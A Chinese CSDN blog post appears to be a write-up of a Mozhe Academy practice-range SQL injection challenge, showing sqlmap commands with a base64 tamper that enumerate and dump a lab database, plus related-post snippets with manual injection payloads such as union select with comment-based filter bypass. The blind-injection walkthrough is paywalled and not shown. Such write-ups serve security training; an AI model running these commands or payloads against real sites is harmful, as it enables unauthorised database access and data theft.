墨者学院 - SQL注入实战-MySQL

最新推荐文章于 2024-05-19 18:10:52 发布
最新推荐文章于 2024-05-19 18:10:52 发布
阅读量2k 收藏 5
点赞数
分类专栏： sql Mozhe
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42357070/article/details/81512470
版权
本文介绍了两种方法进行SQL注入攻击，包括使用sqlmap工具结合base64解码模块，以及手动进行盲注。在sqlmap的帮助下，成功解密参数并暴露出数据库、表名和字段值。手动盲注部分详细阐述了如何判断注入点、猜解字段长度，并逐步揭露数据库信息。
摘要由CSDN通过智能技术生成

两种解法

一、利用sqlmap及其tamper模块base64encode使用

1. 看到id后面的参数可能是base64加密后的结果，我们尝试解密，解密结果为1

2.查看当前的系统信息

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode

3.暴库

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode --level=3 --current-db

4.爆表

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tables -D test

5.获取key

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" -T data --dump

二、盲注

首先可以看到该URL中存在一个参数“MQ==”，从参数的格式来看是通过了base64进行了加密，那么我们可以对其进行base64解密

最低0.47元/天 解锁文章
多崎巡礼
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
墨者学院-SQL注入漏洞测试（布尔盲注）
weixin_42939822的博客
03-20 4290
决心按部就班、由浅入深地去剖析下sql注入题目提供的靶场环境，完善自身解题思路。本题靶场环境比较简单、也比较常见，没有设置严格的过滤规则，仅仅是限制了页面的回显功能，属于比较初级的sql注入题目。废话不多说啦，先附上题目链接：https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe*
墨者学院-SQL注入漏洞测试(布尔盲注)
JimWu的博客
09-04 2677
SQL注入漏洞测试(布尔盲注) 难易程度:★ 题目类型:SQL注入 使用工具:FireFox浏览器、kali 1.打开靶场，寻找注入点。 点击公告/new_list.php?id=1，找到注入点。 2.输入id=1’ and 1=1，返回空页面 输入id=1 and 1=1，返回正常页面。 3.判断数据库名字的长度，输入id=1 and length(database())=1，返回空白页，证...
渗透学习—靶场篇—墨者学院—SQL注入漏洞测试(参数加密)
qq_43696276的博客
10-25 1794
这一关，难点主要在于需要我们判断参数后的加解密类型，从而引导我们去目录遍历，拿到对应的源码！！！然后呢，还需要我们能够对php代码进行审计，从而找出其参数的加密过程。。其中还有一个坑在于末尾要加上_mozhe总体而言，感觉难度还是稍有的（于我个人而言）
墨者学院（POST注入）
2301_77578012的博客
05-19 403
使用burpsuite抓包放在1.txt文件中，并且1.txt放在sqlmap工具。发现存在注入点，并且给出了我们具体执行的payload格式。（如果大家对工具有需求的话可以q我哈）参数后所跟数据也可以通过抓包获取。1.墨者靶场（POST注入）2.sqlmap工具（主要）3.burpsuite工具。，在需要测试参数后加。
墨者学院-SQL手工注入漏洞测试(MySQL数据库)
qq_43623470的博客
01-16 2982
1，http://219.153.49.228:48730/new_list.php?id=1 and 1=1 不报错 http://219.153.49.228:48730/new_list.php?id=1 and 1=2 报错，发现注入点 2，http://219.153.49.228:48730/new_list.php?...
墨者学院MySQL--sql注入靶场
weixin_43803070的博客
07-08 1618
这几天做题的时候发现了一个靶场，先做了一个SQL注入，怎么说呢，这个靶场环境还可以，但是个人感觉最后的 key获取，有点脑洞，没有太大的实际意义背离了实际的初衷，不说了直接上wp： 首先找注入点： http://219.153.49.228:40084/new_list.php?id=1‘// id=1的时候返回正常，id=1’的时候返回错误，说明存在sql注入。 http://219.153...
墨者学院-HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)
最新发布
05-29
HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)、phpMyAdmin后台文件包含分析溯源、PHP代码分析溯源(第1题)、PHP代码分析溯源(第2题)、PHP逻辑漏洞利用实战(第1题)、SQL手工注入漏洞测试(Access数据库)
APP原型实例：墨者科技-旅行小蜜APP2.0.rp
12-17
产品经理
0080 APP原型实例：墨者科技-旅行小蜜APP2.0.rp
01-06
rp原型源文件
墨者安全软件-免费杀毒软件
11-11
墨者安全专家是一款永久免费的免疫型安全防护软件，集墨者独创的 “革离术”、终身免费杀毒、修复系统漏洞、上网痕迹清理、网络防火墙、系统实时保护、安全互助社区等强大功能于一身。特别是独创的“革离术”，利用...
【墨者有巨子腹-居秦阅读答案】墨者有巨子腹.docx
11-13
【墨者有巨子腹-居秦阅读答案】墨者有巨子腹.docx
墨者学院 - SQL过滤字符后手工注入漏洞测试(第1题)
多崎巡礼的博客
09-28 2677
一开始怎么加字符都不行，才发现应该是检测到我注入以后跳转了； （过滤了空格和一些常规查询字符，“+”号也过滤了，大小写不能绕过那就URL编码吧） 和以往的套路一样，猜得到字段是4个。。。 http://219.153.49.228:44375/new_list.php?id=-1/**/union/**/select/**/1,database(),version(),4 url编码构造如...
墨者学院 - SQL手工注入漏洞测试(PostgreSQL数据库)
多崎巡礼的博客
08-20 3264
postgreSQL的注入和mysql 的注入语法是类似的，有一点小的差异： postgreSQL查询当前数据库使用：current_database()函数； 在pg_stat_user_tables库查询表名，使用relname关键字； 和MySQL的limit使用有差异，语法为limit 1 offset 0。     手工SQL注入过程，数据库执行的语句，是页面提交至服务器应用程序，...
墨者学院--SQL手工注入漏洞测试(Access数据库)
YYYYYcici的博客
05-18 869
墨者学院–SQL手工注入漏洞测试(Access数据库) 靶场连接： 解题思路： 判断是否存在sql注入 利用order by判断字段数量 联合注入猜测表名 联合注入猜测列名 登陆，拿KEY 打开题目,页面如下所示 一、 点击蓝色划线区域，跳转下一正常页面（跳转页面出现id=1） 二、判断存在注入（/ 、-0 、 and 1=1） 三、判断字段数量（order by...
sql注入（2） 墨者学院之SQL手工注入漏洞测试（MySQL数据库-字符型）
c10udz的博客
04-12 4116
这里我们可以看到版本是10.2.15，前面说过MySQL5.0版本以上有个自带的information_shema数据库，利用这个数据库可以查到整个数据库的结构，不然就只能盲猜了。//注释：（1）information_schema.tables表示information_schena这个数据库下的表，在MySQL中【.】代表下一级。利用'order by 任意数字 %23去判断，得到4（结尾加%23的原因：在一个语句结尾时，需要用#结尾，而#的url编码就是%23）table_schema：数据库名。
墨者学院CTF（SQL注入漏洞测试(参数加密)）
痴人说梦梦中人
08-10 5529
靶场地址：https://www.mozhe.cn/bug/detail/SjRRVFpOQWlLWDBJd3hzNGY5cFBiQT09bW96aGUmozhe 1. 靶场截图： 2. 目录扫描 访问可得new目录下list.php源码，即在此处存在注入漏洞 3. 代码审计 <?php header('content-type:text/html;charset=utf-8'); //发起...
零基础学习手工SQL注入（墨者学院靶场）
ISNS的博客
07-08 1674
靶场：https://www.mozhe.cn/bug/detail/82 1.点击滚动的通知： 页面跳转至： 2.判断是否为注入点。 发现这是一个注入点。 3.判断字段数量。 从10开始，采用二分法，直至确定字段数量为4： 4.判断可显字段。 输入联合查询语句以后，发现页面还是显示的之前的内容，于是让它原本的语句错误，这样它就不显示之前的页面了： 可以看到，可显字段为第二个和第三个...
墨者学院入门级SQL注入（布尔盲注）
wxdby的博客
12-05 547
首先，在打开这道题时，我们发现这里有一个用户登录。我们可以试着猜一下，我们成登录后，就出现Key了。这道题时SQL题。
墨者-sql手工注入漏洞测试
04-29
墨者安全团队是一支专注于网络安全领域的团队，他们致力于网络安全研究...总的来说，墨者安全团队的手工注入漏洞测试方法比较系统和全面，可以有效地发现目标网站中存在的注入漏洞，从而帮助企业提高网络安全防护水平。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值